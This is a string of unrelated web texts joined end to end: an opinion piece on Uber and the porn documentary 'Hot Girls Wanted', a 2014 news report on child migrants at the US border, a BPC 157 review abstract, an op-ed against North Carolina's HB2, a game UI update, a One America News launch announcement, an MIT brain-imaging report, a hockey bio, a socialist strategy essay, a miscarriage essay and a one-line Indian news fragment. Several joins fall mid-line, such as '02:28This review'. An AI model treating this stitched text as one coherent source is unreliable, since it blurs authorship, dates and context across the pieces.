Unlike legacy cab companies, Uber will tell you exactly who is coming to pick you up and gives you GPS information about how close the driver is and when he or she is expected to arrive, a dramatic improvement over calling for a cab that may never show up (or, if you’re African American, calling for or hailing a cab that then refuses to serve you). The amateur porn boom provides greater variety at more competitive prices than the old studio-based model, and because it’s less dependent on geography, makers of pornographic films can more easily avoid regulations, such as the California requirement that sex performers use barrier protection in their films.
But both business models also shift costs onto workers and away from the companies who profit from their work. As my colleague Emily Badger noted this year, “Uber drivers must deduct from their earnings the costs of gas, car insurance and vehicle maintenance.”
“Being a porn star is very expensive, and it sucked, because you’re always spending money,” Tressa says in “Hot Girls Wanted,” explaining how she had to shoulder many of the costs involved in her work, including lingerie for costumes and travel, as well as medical treatment when she had a painful cyst. “I only made $25,000 in four months and after I got out of porn I had $2,000 in my bank account.”
The filmmakers contrasted stories such as Tressa’s with that of Belle Knox, who worked in sex films because she hoped it would help finance her Duke University education, because they wanted to make the point that her story was unusual, co-director Ronna Gradus told me. Knox was able to make substantial amounts of money because she capitalized on her notoriety after a fellow student outed her, not because the work is actually remunerative.
“Riley [a porn recruiter profiled in the film] said she wouldn’t even have made enough to pay for one class,” Gradus said. “Because there is this concept, and I think especially when you’re 18 or 19, you’re not thinking about net profit, you’re not doing an analysis before you go in. You’re just seeing the promise of $800 cash, but that’s not a lot of money. The reality is they’re paying for their flights, they’re paying for their hotel when they have to travel. At the end it’s not really fulfilling what it is they think they’re going to get. That hopefully will be a big takeaway from the film. This is definitely one of the things you should consider, that you are not going to come home with a ton of cash.”
Both Uber and the new business model for the porn industry are possible because of new technology. With Uber, it’s smartphones; with porn, it’s cheap, small cameras and services such as Craigslist that make it easy to recruit new candidates. Those technologies sometimes create real benefits: Jade, who was doing abuse porn during the period when “Hot Girls Wanted” was filming, has switched to camming — doing live chats with customers — which lets her control the environment in which she works and means she can keep all the money she makes.
“I think she really does enjoy camming,” Gradus said. “She has fans and regulars and a lot of time people just want to talk to her and they don’t even ask her to do anything sexual, because she really just gets to be herself. I think one of the things that was hardest for her [in making more conventional pornographic movies] was not even the sex work, but people saying, ‘Stop being so funny,’ and ‘Stop having so much personality,’ and ‘Tone it down.'”
But breaking out of an old model can mean escaping regulations that protect workers. Uber drivers are fighting to be classified as employees, rather than independent contractors, to get access to the benefits and protections that would be due them if they actually worked for the company. Working in Miami rather than in California means that the subjects portrayed in “Hot Girls Wanted” aren’t subject to the laws that require condoms to be used in scenes. Some of the movie’s queasiest moments involve the women debating whether to take on certain sex acts for extra pay and calculating their takeaway if they have to buy Plan B as a result.
And “Hot Girls Wanted” makes the point that porn seems attractive in part because other options seem worse. “Do I want to be in my parents’ shoes when I’m their age?” muses Rachel in the movie. “No. I don’t want to go to college, meet someone when I’m in college, marry them, stay in my home town, have a bunch of kids and then die there.”
Gradus drew the contrast even more starkly. “Most of them would have been first-generation college. So it was not really something that they had sort of been preparing to do all their lives,” she said. “When we asked them about college, they would say I don’t know, it puts you in so much debt and you don’t get a better job anyway …T he recruiter says I’m going to send you a plane ticket. And that’s why they do it. None of the girls we met went into it because they were dying to be porn stars. Having sex on camera and having to play the part of a porn star was an aside, and it was what they had to do to achieve what they were really after, which was freedom and money and adventure.”
But this new porn business model isn’t exactly a reliable source of those things, either. Riley, the recruiter, estimates that most women will drop out of the industry within a few months or a year at most. The real shame of “Hot Girls Wanted” isn’t porn itself, but a lack of other, more sustainable opportunities.Story highlights Officials plan for 90,000 child immigrants this year, more in 2015
President Obama, House Speaker Boehner clash over immigration politics
Obama doesn't visit troubled border area during Texas trip
Obama wants $3.7 billion in emergency funds to deal with the crisis
It's only going to get worse unless you give us more money, administration officials warned Thursday about the flood of Central American children illegally entering the United States from Mexico.
Homeland Security Secretary Jeh Johnson told the Senate Appropriations Committee that $3.7 billion in emergency funding requested by President Barack Obama anticipated up to 90,000 of the unaccompanied minors this fiscal year, which ends September 30, and another 145,000 in fiscal year 2015.
So far, the 57,000 who crossed the Texas border in the past nine months have overwhelmed the immigration system, causing overcrowded holding facilities and a huge backlog of cases awaiting hearings that can take years to schedule.
"Doing nothing is not an option," Johnson said, noting the increased demand for his department's services would cause U.S. Immigration and Customs Enforcement to run out of money next month while Customs and Border Protection would burn through its annual funding by mid-September.
Emergency funding
The emergency money sought by the President would hire more border patrol officers, judges and others to deal with the unprecedented influx from Guatemala, Honduras and El Salvador while providing more detention facilities and other resources -- all designed to speed up the processing of the child immigrants.
However, the deep partisan divide over the immigration issue set up a certain congressional battle over the funding.
Earlier Thursday, House Speaker John Boehner erupted in anger over what he called Obama's lack of leadership on the issue, telling reporters that "this is a problem of the President's own making."
"He's been President for five and a half years," the Ohio Republican thundered. "When is he going to take responsibility for something?"
While motivated in part by the rolling TV cameras, Boehner's outburst also responded to salvos fired at him by Obama on a two-day trip to Texas -- the epicenter of the immigration influx -- in the endless effort to gain political advantage.
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Seeking political advantage
On Wednesday night, Obama told reporters in Dallas that Republicans put party gain over progress in resolving what the White House calls an urgent humanitarian situation -- tens of thousands of unaccompanied minors overwhelming the immigration system after illegally entering the United States in recent months.
"The problem here is not a major disagreement around the actions that could be helpful in dealing with the problem," he said, but whether Congress would "put the resources in place to get this done," adding: "Are folks more interested in politics, or are they more interested in solving the problem?"
Texas Gov. Rick Perry and other Republicans lashed out at Obama, particularly his decision not to tour overcrowded border facilities while in Texas to see for himself the human side of the situation.
"The American people expect to see their President when there is a disaster," Perry told CNN's Kate Bolduan in an interview that aired Thursday, citing Obama's trip to the East Coast to tour damage caused by Superstorm Sandy in 2012. "He showed up at Sandy. Why not Texas?"
'Go down there and see what we're facing'
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Even some Democrats were critical of the decision. Texas Democratic Rep. Henry Cuellar told CNN's "New Day" that it's important for Obama to see what the children are going through.
"I'm interested in him looking at the kids. The kids that I've talked to, little innocent little boys and girls that have come across and have traveled over 1,000 miles, that a third of the girls have been abused and raped on the way up here," he said. "The last young kid was an 11-year-old little boy from Guatemala that died of dehydration. That is the face that I want him to see. Don't take any cameras, Mr. President, but go down there and see what we're facing."
Obama said Wednesday that visiting facilities where the children are processed and detained would be little more than a photo opportunity.
"There's nothing that is taking place down there that I am not intimately aware of and briefed on. This isn't theater. This is a problem," he said.
Other Democrats from states bordering Mexico questioned Obama's handling of the problem, indicating major challenges for the emergency funding sought by the President.
Immigration limbo
Obama called on Congress to quickly approve the $3.7 billion in additional money this fiscal year to deal with the crisis, which has left tens of thousands of new undocumented immigrants in a kind of immigration limbo.
A lot of them surrendered themselves to Customs and Border Protection officers on the belief they will be allowed to stay in the country, and officials have struggled to house the children amid a staggering backlog of immigration cases.
To Boehner and other Republicans, Obama gets the blame because of his past decision to halt deportations of some young undocumented immigrants.
"On our southern border, we've got a true humanitarian crisis underway with children caught in the middle," Boehner said, adding that Obama's actions "gave false hope to children and their families (that) if they entered the country illegally, they would be allowed to stay."
Criticized by Obama for preventing a House vote on a Senate-passed immigration reforms that would provide a path to legal status for millions of undocumented people living in America, Boehner said he wanted the House to take up legislation addressing the current influx before it goes on recessin August.
However, he made clear Obama's emergency funding plan would get serious scrutiny, saying: "We are not giving the President a blank check."
Process overwhelmed
Obama administration officials blame the influx on dire conditions in Guatemala, Honduras and El Salvador, the three countries of origin for most of the new child immigrants. They note that people from other countries don't join the influx, saying that showed it involves those fleeing bad conditions in the three Central American nations.
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To Boehner, Perry and other Republicans, the administration invited the problem.
"The children are a symptom of policies that have enticed them to come," he said. "The first thing you have to do is stop the flow, because if we don't, then the problem's not going to be the size we have today."
Republicans have called for the repeal of a 2008 law signed by President George W. Bush that requires deportation hearings before sending back children from countries that do not border the United States.
"I don't think we can solve the problem unless we revisit" the law, Texas Republican Sen. John Cornyn said.
"What's happened is these children are placed with family members in the United States and given a notice to appear for a later court hearing. Some have called this a notice to disappear, not a notice to appear," as most don't show up, he said.
Another Republican, Sen. Ron Johnson of Wisconsin, said the United States should immediately fly the children back to their home countries. It would cost less and signal U.S. intolerance for those who enter the country illegally, he argued.
Cornyn and Cuellar planned to introduce legislation Thursday to alter the 2008 deportation hearing provision. The bill, Cuellar said, will include protections for children who come to the United States because of concerns about drug or sex trafficking.
Democrats want to keep the law intact to ensure that children who deserve asylum receive a full hearing.
Funding breakdown
Obama's emergency funding request seeks $1.6 billion to bolster customs and border efforts as well as crack down on smugglers.
Another $300 million would go to help Mexico and Central American governments counter claims by smugglers to desperate parents that U.S. officials won't send their children back.
"While we intend to do the right thing by these children, their parents need to know that this is an incredibly dangerous situation and it is unlikely that their children will be able to stay," Obama said.
The request also includes $1.8 billion to provide care for unaccompanied children crossing the border.
Overall, it amounts to about 10% of the $30 billion in proposed border security funding included in the immigration reform bill passed by the Senate but stalled in the Republican-controlled House.
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JUST WATCHED Perry to Obama: visit the border Replay More Videos... MUST WATCH Perry to Obama: visit the border 02:28This review focuses on the described effects of BPC 157 on blood vessels after different types of damage, and elucidate by investigating different aspects of vascular response to injury (endothelium damage, clotting, thrombosis, vasoconstriction, vasodilatation, vasculoneogenesis and edema formation) especially in connection to the healing processes. In this respect, BPC 157 was concluded to be the most potent angiomodulatory agent, acting through different vasoactive pathways and systems (e.g. NO, VEGF, FAK) and leading to optimization of the vascular response followed, as it has to be expected, by optimization of the healing process. Formation of new blood vessels involves two main, partly overlapping mechanisms, angiogenesis and vasculogenesis. The additional mechanism of arteriogenesis is involved in the formation of collaterals. In conjunction with blood vessel function, we at least have to consider leakage of fluid/proteins/plasma, resulting in edema/exudate formation as well as thrombogenesis. Blood vessels are also strongly involved in tumor biology. In this aspect, we have neoangiogenesis resulting in pathological vascularization, vascular invasion resulting in release of metastatic cells and the phenomenon of homing resulting in formation of secondary tumors--metastases.In late March, North Carolina passed the controversial House Bill 2 into law. By now, you have probably heard of it. This “Public Facilities Privacy and Security Act” blocks transgender individuals from using public restrooms that match their gender. It also restricts cities from passing further nondiscrimination legislation.
The legislation received both backlash and praise. The religious right was proud, arguing against the existence of the transgender identity at all. Others cited safety reasons for their praise. They feared that, without it, men would be able to dress up as women and sexually assault people in the restrooms. Finally, others denounced the law, due to the disrespect and potential harm for transgender individuals. I fall into this last category.
North Carolina is seeing a global reaction to its law. Several companies, notably Target, have spoken out strongly against it. Artists have canceled concerts and events in the state. The United Kingdom has issued a travel warning to its LGBTQ citizens against the potential dangers in North Carolina.
The Indiana Legislature considered a similar “bathroom bill” earlier this year, but it was met with similar criticisms and did not pass. LGBTQ activists rejoiced but still fear it could be brought up again.
There are several misconceptions used to support these bills that I would like to dispel.
First is the argument that transgender is not a true gender identity. I can see why it might be confusing to the majority. Most people do not seem to experience gender dysphoria. Yet, there are thousands of people who say this is their experience. We should respect that. How does another person’s gender identity affect our lives at all? We have all used the restroom among transgender people many times and never known. This is how it should be, because it is none of our business.
The next misconception is equally concerning, stating the lack of these laws is an excuse for men to prey on women. Supporters emphasize that it is not transgender people they have a problem with; it is the potential threat of fake transgender people.
I find it hard to believe that a man would make the effort to dress up as a woman for the sole intention of going into a bathroom to assault someone. If sexual assault were truly the goal for him, why would any law about gender stop him from going into the bathroom? If the intention was to break the law with assault, breaking another would probably not be a concern.
Of course, any sexual assault, no matter the circumstance, is an unfortunate and preventable situation. However, lawmakers in North Carolina did not seem to have any evidence that this kind of assault had ever been a problem. If the rationale is truly protecting people from potential assailants, the problem is not transgender individuals; it is men who feel it is acceptable to rape people in a bathroom.
This new law puts the livelihood and happiness of transgender individuals at risk, while doing nothing to address the actual problem that far too many people are sexually assaulted. I urge lawmakers in Indiana and around the country to see the dangerous and regressive effects of laws like HB 2. This law helps no one, but has a negative impact on thousands of lives.•
__________
Miller studies policy analysis at Indiana University and works as political director for the College Democrats of Indiana. Send comments on this column to ibjedit@ibj.com.The revamp for the Ship Design UI is largely complete and the images below will give you an idea of my target while I work on this over the next two weeks. This is the last UI revamp scheduled for the upcoming Alpha 4. All that remains to be done now is the unfinished Mrrshan artwork and combat death animations for the 8 races. So, yeah. It’ll probably be ready sometime in August.
I’ll try to describe what each of these images represent. Please keep in mind that there are already minor changes to these images planned. They are not final, but pretty close.
There is going to be a notion of ship design templates to allow players to try out different designs (and save them) without committing them to a design slot. We might eventually expand this to a cross-game functionality, but there are a lot of thorny details that have to be worked out first.
Displaying an existing ship design.
Confirmation to scrap an existing design
Creating a new design for one of the available design slots
Naming a new design when choosing to create it
Making a template from a display design or template
Loading a saved design template
Discuss on the ROTP subreddit at:
AdvertisementsHerring Broadcasting, owner of the Wealth TV network, and The Washington Times announced Thursday that they have joined in a strategic partnership to create a new national cable news network called One America News, set to debut nationwide this summer.
“One America News Network will provide Americans a new, credible source for national and international news and investigative reporting as well as talk shows designed to foster an independent, cutting-edge debate about the policies, issues and solutions facing the country,” said Robert Herring Sr., CEO of Herring Broadcasting, founded in 2004 and based in San Diego.
The intent is to provide credible news and thoughtful analysis for “viewers with self-described independent, conservative and libertarian values,” Mr. Herring said. “Fox News has done a great job serving the center-right and independent audiences. But those who consider themselves liberal have a half dozen or more choices on TV each day from which to get their news,” he said.
It is time for some more options, he added.
The new network, which is wholly owned by the Herring Broadcasting, will rely on The Washington Times as its primary source of news and analysis from the nation’s capital. Broadcasts will originate from a state-of-the-art TV studio adjacent to the newsroom that has anchored The Times since it was founded 31 years ago.
“The Times is an authoritative voice on policy, politics and national security news in Washington, and it provides our network a powerful reporting and analytical capability to help our viewers make sense of developments in an increasingly complex, and polarized capital city,” said Charles Herring, president of Herring Broadcasting and Wealth TV, a lifestyle and entertainment channel distributed by cable and satellite providers around the world.
Mr. Herring, the son of Robert Herring, anticipates some lively dynamics ahead, ideal for a competitive media marketplace.
“We’re excited to have reporters, editors and commentators from Ralph Hallow to Emily Miller who can whisk into the studio from The Times’ newsroom and provide real-time, trusted reporting and credible analysis on the pressing issues of the day,” the younger Mr. Herring said.
The partnership will enhance bedrock issues that The Times has covered for decades.
“We’re excited to be the official Washington news source for a network that will appeal to Americans concerned about political accountability, smaller government spending and taxation, the protection of liberties and a strong national security capability in America,” said Washington Times CEO Larry Beasley. “We have been hard at work transforming our company to be a digital-first news organization. Our partnership with One America News furthers that goal and our potential reach to millions of viewers.”
The Washington Times has strived to be a viable news organization at home in the multiplatformed environment of the contemporary news media. The Times is read by more than 100,000 daily and weekly print newspaper subscribers and 10 million monthly readers online, and it currently broadcasts a live, daily radio show from a studio in its newsroom.
Programming combinations for One America News, in the meantime, portend to be creative.
Future projects include a possible daily TV show featuring Washington Times radio host Andy Parks, paired with Miss Miller, an award-winning columnist.
From the West Coast, One America News also will showcase talent from its home studio, including anchor Graham Ledger whose “Daily Ledger” show will look at stories through a constitutional prism and veteran talk show host Rick Amato, who is intent on exposing the gap between mainstream America and Washington’s political elite. Nationally renowned psychologist and political commentator Gina Loudon, known as Dr. Gina, will explore the most basic fundamentals of complex political issues.
The announcement of the partnership, meanwhile, is a timely one, revealed on the opening day of the 40th annual Conservative Political Action Conference.
Both Herring Broadcasting and The Washington Times will be a presence at the three-day event, which caps with the official Washington Times/CPAC Straw Poll that provides a much anticipated gauge of conservatives’ preferences and positions heading into the 2014 election cycle.
The results of the poll will be released Saturday afternoon.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Researchers at MIT and the University of Vienna have created an imaging system that reveals neural activity throughout the brains of living animals. This technique, the first that can generate 3-D movies of entire brains at the millisecond timescale, could help scientists discover how neuronal networks process sensory information and generate behavior.
The team used the new system to simultaneously image the activity of every neuron in the worm Caenorhabditis elegans, as well as the entire brain of a zebrafish larva, offering a more complete picture of nervous system activity than has been previously possible.
"Looking at the activity of just one neuron in the brain doesn't tell you how that information is being computed; for that, you need to know what upstream neurons are doing. And to understand what the activity of a given neuron means, you have to be able to see what downstream neurons are doing," says Ed Boyden, an associate professor of biological engineering and brain and cognitive sciences at MIT and one of the leaders of the research team. "In short, if you want to understand how information is being integrated from sensation all the way to action, you have to see the entire brain."
The new approach, described May 18 in Nature Methods, could also help neuroscientists learn more about the biological basis of brain disorders. "We don't really know, for any brain disorder, the exact set of cells involved," Boyden says. "The ability to survey activity throughout a nervous system may help pinpoint the cells or networks that are involved with a brain disorder, leading to new ideas for therapies."
Boyden's team developed the brain-mapping method with researchers in the lab of Alipasha Vaziri of the University of Vienna and the Research Institute of Molecular Pathology in Vienna. The paper's lead authors are Young-Gyu Yoon, a graduate student at MIT, and Robert Prevedel, a postdoc at the University of Vienna.
High-speed 3-D imaging
Neurons encode information -- sensory data, motor plans, emotional states, and thoughts -- using electrical impulses called action potentials, which provoke calcium ions to stream into each cell as it fires. By engineering fluorescent proteins to glow when they bind calcium, scientists can visualize this electrical firing of neurons. However, until now there has been no way to image this neural activity over a large volume, in three dimensions, and at high speed.
Scanning the brain with a laser beam can produce 3-D images of neural activity, but it takes a long time to capture an image because each point must be scanned individually. The MIT team wanted to achieve similar 3-D imaging but accelerate the process so they could see neuronal firing, which takes only milliseconds, as it occurs.
The new method is based on a widely used technology known as light-field imaging, which creates 3-D images by measuring the angles of incoming rays of light. Ramesh Raskar, an associate professor of media arts and sciences at MIT and an author of this paper, has worked extensively on developing this type of 3-D imaging. Microscopes that perform light-field imaging have been developed previously by multiple groups. In the new paper, the MIT and Austrian researchers optimized the light-field microscope, and applied it, for the first time, to imaging neural activity.
With this kind of microscope, the light emitted by the sample being imaged is sent through an array of lenses that refracts the light in different directions. Each point of the sample generates about 400 different points of light, which can then be recombined using a computer algorithm to recreate the 3-D structure.
"If you have one light-emitting molecule in your sample, rather than just refocusing it into a single point on the camera the way regular microscopes do, these tiny lenses will project its light onto many points. From that, you can infer the three-dimensional position of where the molecule was," says Boyden, who is a member of MIT's Media Lab and McGovern Institute for Brain Research.
Prevedel built the microscope, and Yoon devised the computational strategies that reconstruct the 3-D images.
Aravinthan Samuel, a professor of physics at Harvard University, says this approach seems to be an "extremely promising" way to speed up 3-D imaging of living, moving animals, and to correlate their neuronal activity with their behavior. "What's very impressive about it is that it is such an elegantly simple implementation," says Samuel, who was not part of the research team. "I could imagine many labs adopting this."
Neurons in action
The researchers used this technique to image neural activity in the worm C. elegans, the only organism for which the entire neural wiring diagram is known. This 1-millimeter worm has 302 neurons, each of which the researchers imaged as the worm performed natural behaviors, such as crawling. They also observed the neuronal response to sensory stimuli, such as smells.
The downside to light field microscopy, Boyden says, is that the resolution is not as good as that of techniques that slowly scan a sample. The current resolution is high enough to see activity of individual neurons, but the researchers are now working on improving it so the microscope could also be used to image parts of neurons, such as the long dendrites that branch out from neurons' main bodies. They also hope to speed up the computing process, which currently takes a few minutes to analyze one second of imaging data.
The researchers also plan to combine this technique with optogenetics, which enables neuronal firing to be controlled by shining light on cells engineered to express light-sensitive proteins. By stimulating a neuron with light and observing the results elsewhere in the brain, scientists could determine which neurons are participating in particular tasks.
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found a home with the Detroit Red Wings.
Jensen had a long wait to make his NHL debut from the time he was drafted, but he's since found a home with the Detroit Red Wings.
Selected by the Red Wings in the fifth round (No. 150) of the 2009 NHL Draft, Jensen improved his game over two seasons in the United States Hockey League, three in the Western Collegiate Hockey Association and three-and-a-half in the American Hockey League.
During his final season at St. Cloud State in 2012-13, Jensen had 31 points in 42 games and made the All-WCHA First Team.
In his first full season in the AHL in 2014-15, Jensen showed his offensive ability with 27 points in 75 games and had 19 points in 75 games the following season. He was recalled by the Red Wings on Dec. 19, 2016 and had an assist in his first NHL game one day later.
Jensen ended the 2016-17 season with 13 points in 49 games and spent the entire 2017-18 season with Detroit. He had 15 assists in 81 games and played heavy minutes on the second defense pairing.
NOTES & TRANSACTIONSPhoto: Socialist Party candidate Norman Thomas 1905, speaking in Philadelphia in 1932.
This is the fourth in a series of articles about left electoral and political strategy in the United States. Before we proceed further, it is worthwhile to review the ground already covered. In the first article in the series, we argued that the Democratic Party’s collapse provides an opening for a left political force to fill. In the second article, we criticized Seth Ackerman’s proposal for a new organization as inadequate to take advantage of this opportunity. In the third article in the series, we highlighted the Bernie Sanders campaign as an example of how “progressive” challenges within the Democratic Party are bound to fail as a strategy to advance working class interests.
Hopefully at this point the reader is persuaded that abandonment of the Democratic Party must be a fundamental axiom of socialist political strategy. However, until this point we have been talking about elections, which are only one piece — and certainly not the most important piece — of the strategic puzzle.
For socialists to formulate an effective strategic orientation, we argue in this article, it is necessary to grasp what the limits of elections are — that is, the maximum gains that could possibly be won via elections. Moreover, socialists must recognize that real power is gained through extra-electoral means; elections are simply a periodic register of the underlying balance of forces. Building up proletarian power is a difficult and complicated task, and will ultimately require a working class political organization — a party — to unify, coordinate and, at times, direct struggles against the bourgeoisie.
The Limitations of Electoral Strategies
Although a social-democratic party is very far from achieving a majority government in the United States, those that advocate such a route ignore the inherent limits to using electoralism for the purpose of advancing a class agenda. In the (unlikely) event of a radical working-class party sweeping into power via election, there is little to guarantee that the bourgeoisie would be inclined to respect the result. On the contrary, the victory could be the signal for the bourgeoisie to brazenly cast aside the democratic system, since it no longer would be serving its intended purpose as a means of exercising ruling class power. The history of Allende’s government in Chile comes to mind as a paradigmatic example, but precedents go back as far as Louis Napoleon’s 1851 coup.
“Real power is gained through extra-electoral means; elections are simply a periodic register of the underlying balance of forces.
Of course, coups are not the bourgeoisie’s preferred means of thwarting working class advances, if only because they are too unpredictable. An investment strike, where capitalists stop hiring and making investments to undermine reform policies, is a preferred tactic, but most ‘socialist’ governments are all too aware of the costs of antagonizing capitalists and strive to avoid it. So the capitalists rarely have to resort to an active investment strike — but they often use aggressive financial tactics to neutralize left wing governments, for example during the recent experience of Syriza in Greece. Because the working class was not effectively mobilized in Greece and throughout the European Union, the social democrats in power could not resist capitalism internationally, and ended up as managers for the same system they were elected to dismantle.
More systematically, capitalists employ well-honed tactics of supporting political factions from center-left to far right, which counter working-class interests at the ballot box and on the streets. Certainly, one manifestation of these efforts is the Democratic Party. But in times of intensified social struggle, the bourgeoisie can be counted on to muster more illiberal forces into the class struggle. One can look to the pre-World War I German bourgeoisie’s financing of ethno-nationalist organizations in the wake of the SPD’s 1912 electoral surge as a case in point, although one can find plenty of examples in the present day. If the rightist groups called upon to combat the working class have retrograde social views — xenophobia, misogyny, racism, etc. — that is a price that the ruling class is more than willing to pay to maintain power. This threat is unfolding as we speak in the United States and throughout Europe, and creates urgent problems of defense for the oppressed.
None of this is to say that running candidates in elections is itself valueless or misguided. Indeed, we do advocate using elections, as socialists historically have, as part of a larger strategy to advance working class power. We simply counsel a realistic appraisal of the limitations of electoral mechanisms, and of the power of the ruling class. But we also urge an emphasis on extra-electoral strategies, since this is where the power of the working class truly resides.
How is Real Power Built?
Real power, for the working class, comes from organization and disruption — organization of unions and mass organization to bring the class into confrontations with the capitalists, and disruption to force the capitalists to make space for the working class organizations, if only for a time. We’ve seen how an elected anti-capitalist government without an organized working class will be overthrown by the state apparatus, undermined by right wing extremism and, in all events, discredited by its own weakness in the face of the capitalist world economy. A social democratic party that does not recognize the weakness of its position once in government is a danger to the working class, through incompetence if not betrayal.
It can be argued that voters in the US and around the world are as apt to vote against capitalists and against capitalism as at any point in the past 100 years. On the other hand, it can be well argued that the working class is at its weakest point in terms of organizational power, within that century and even longer. How did a willingness to be radical in national politics become so separate from the ability to act radically anywhere except at the ballot box?
Without organizational independence, including in elections, the left will be suffocated by the capitalists in a smothering embrace.
On many occasions it has been suggested that bringing together the unions into a broad-based Labor Party is a good way to get an independent working class party, but unfortunately this kind of effort almost always gives control to the more conservative part of the labor bureaucracy. The continuing problem with the Labor Party idea, since the Second World War, is that it is inconceivable that the highly-paid officers of labor unions would be at all supportive of a break with the Democratic establishment, let alone the party. The labor unions’ bureaucratic chieftains have spent decades undermining the self-organization of the working class to maintain cooperation with the Democrats and capitalists; not to expect further sabotage (so long as they remain in office) would be criminally naive. Really, union bureaucrats can be expected to fight against a socialist or labor party quite openly. It would be nice to think that these powerful organizations could come to our side if given the right avenue, but that ignores the political problems that put the labor movement in its present desperate situation. Before the unions will ever support a socialist party, as they should, we will have to overthrow the existing bureaucracy and put in place working members with socialist politics. And this indicates for us a more comprehensive working class strategy than just a new way of contesting elections, but ultimately more powerful.
Winning socialism entails much more than persuading voters to hate capitalism; it requires building up the power of a class that can actually defeat the capitalists. Capitalists never stop attacking workers’ organizations and unions, even when these agree to support capitalist parties, as the labor bureaucrats have done for the Democrats. Capitalist unity is ensured not just by their control of the government and two parties, but by the financial and labor markets.
For workers, on the other hand, unity is the exception. A strike directly harms one capitalist firm, but strikes now routinely fail in isolation. A wave of strikes places many capitalists in jeopardy and gives other workers confidence, and a mass political strike across an entire city or country gives cover for many local strikes to succeed on economic grounds, and reinforce thereby workers’ organization. Capitalists are so strong that often we see very little progress until a sudden breakthrough, but a political vision is needed to take advantage of those opportunities.
Socialists have been fighting capitalists long enough, by now, to learn that the working class makes substantial gains when strong militant organization down to the level of the workplace has been united with political opposition to the capitalists as a class. The two develop together. That is one reason we need a party — it is a big risk to go on strike, or join a demonstration that could lead to arrest, and most people will not do it unless they see that it has a chance of victory. And for that chance of victory to be believable, we need an organization to guard against political concessions as well as personal corruption, to find out what works and to correct itself when tactics fail, and to overcome prejudices and nationalism among the workers, which is to say a socialist party.
The Price of a Compromise Position on Elections
Elections should, we submit, be only a small part of socialist strategy. The main focus of a socialist group should be on extra-electoral matters, of which elections are merely a barometer. Taking the opposite tack is ill-advised because socialist candidates can not meaningfully influence the behavior of a capitalist state through parliament. (In many areas, such as the United States, the prospect of a socialist victory in the legislature is also unlikely at the current moment.) Moreover, participation in the election campaign of candidate from a bourgeois party — as Ackerman and the Democratic Socialists of America sometimes urge — saps valuable resources from a socialist organization and, in the worst case, can lead to an effective lobotomy or even dissolution of the group.
There exist historical precedents that serve as warnings to those who would advocate electoral collaboration with a bourgeois party. Two examples come to mind: the Communist Party USA in the thirties and the New Communist Movement in the eighties. Both entered into a coalition with a certain faction of the Democratic Party — FDR in the former and Jesse Jackson in the latter — and neither recovered the organizational independence nor vitality that they once displayed. In agreeing to a multi-class alliance with the bourgeoisie, these leftist formations found themselves inevitably dominated by the capitalists. There is no reason to believe an attempt at a multi-class grouping today would yield a different result.
Those on the left who, contrary to our position, advocate devoting socialist resources to bourgeois electoral campaigns often contrast the so-called “purity” of positions such as ours to the necessity of a hard-nosed realism of working within the bourgeois apparatus in a time of left weakness. However, the framing of this debate as purity versus realism is miscast. The true terms of debate are survival of independent socialist organizations on the one hand and, on the other, being drawn into a black hole of bureaucratism — most likely, inside the Democratic Party and its affiliates — from which the left will never escape. Only in the former does the left have any chance of growing or, indeed, exercising any discernible influence at all. How can compromise with the working class’ enemies sincerely be called realism? It smells more like surrender.
Thus, the correct position on elections, however small elections might feature in a socialist strategy, is essential. Without organizational independence, including in elections, the left will be suffocated by the capitalists in a smothering embrace. If we belabor this point, it is only because many on the left seem all too eager to repeat the mistakes of the past.
Next article in this seriesFEATURED VIDEO
This is problematic for a number of reasons. First and foremost, it is sometimes impossible to hide a pregnancy, even in the early weeks. Crippling nausea, debilitating exhaustion, and a myriad of other physical symptoms may manifest. I worked in a small office during my first pregnancy, I told my bosses around week 6 because nausea had me running to the bathroom every half hour. I was perpetually exhausted and relied heavily on my spouse and parents for help. And let’s not forget the emotional circus pregnant women are now the star of. Waves of torrential hormonal shifts are rocking a woman’s body, and every aspect of their physiological self is being affected.
Secondly, if that pregnancy is lost, women still need support. Imagine what happens when a pregnancy that no one knew about — but still has altered her in so many ways — suddenly ends? Imagine having to carry the burden of that grief all on your own while the rest of the world exists in blissful ignorance of the loss you suffered.
After my miscarriage, I felt many things: sadness, anger, isolation, and even some depression brought on by a substantial downswing of hormones. I was lucky that those very closest to me knew, and I had their support. But the rest of the world just kept turning. And I had to keep turning with it.
And so I took my daughter to her regularly scheduled playdates and made small talk with other moms and sang the silly songs. I was a silent bystander in my own body, as it purged any evidence of this life from me.
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I also felt something I did not expect: foolish. I felt foolish for being sad. I felt I did not have the right to grieve, because, as people would point out to me, “It was really early.”
And again, there is the problem with the 12-week rule. Because we are encouraged not to disclose our pregnancy until the twelfth week, there is an unfair assumption that we can’t really be excited about our pregnancy until then.
Let me make one thing very clear: You are allowed to feel however you want or need to feel when you find out you have a human life growing inside of you, no matter when you find out.
And while words like “viable” and “sustainable” are thrown at you in regards to the progression of your pregnancy, there is no line graph where the love you feel for life inside you increases with the number of weeks it gestates. Pregnant is pregnant. Loss is loss.
Miscarriage isn’t just a loss we feel emotionally. It happens to our bodies, inside of us. We experience it physically. To expect a predetermined level of grief from a woman who has lost a pregnancy is absurd and presumptuous.
So, as a society, let’s do better. Let’s be more honest, open, and empathetic (this remains true for all aspects of our humanity).
Needing to talk to someone, anyone, I turned to an online community. Upon sharing my story, I was overwhelmed by the love and support that was offered. Most of all, I was shocked at the number of women who had similar stories. If this online community is but a sample of all the women you know, imagine how many of them have lost a pregnancy, and how many are aching to talk about it.
If you are unsure of what to say to someone who has lost a pregnancy, it’s actually really simple. Just tell them that it is okay to feel whatever they are feeling. It is okay to grieve, and that you are there for them. Dr. Jessica Zucker, a psychologist who specializes in women’s health, created a line of pregnancy loss cards. My favorite reads as follows:
“Grief knows no timeline. Take all the time you need.
If you want to rest, do. If you want to scream, do. If you want to distract yourself, do. If you want to cry, stuff your face, hibernate, go on an adventure, call me morning noon and night, do.
Be gentle with yourself.”
While I have physically and emotionally healed from my miscarriage, I will always remember the life that could have been. I will never forget his due date nor the future I had imagined.
Hopefully, I’ll get to plan a new future with a new life. We’ll keep trying and living. And if there’s one thing I have learned, it is just how precious my life and the lives of those I love are, and to never take them for granted.
I hope you heal too.Union Minister Mukhtar Abbas Naqvi said India's unity was responsible for failure of terror outfits
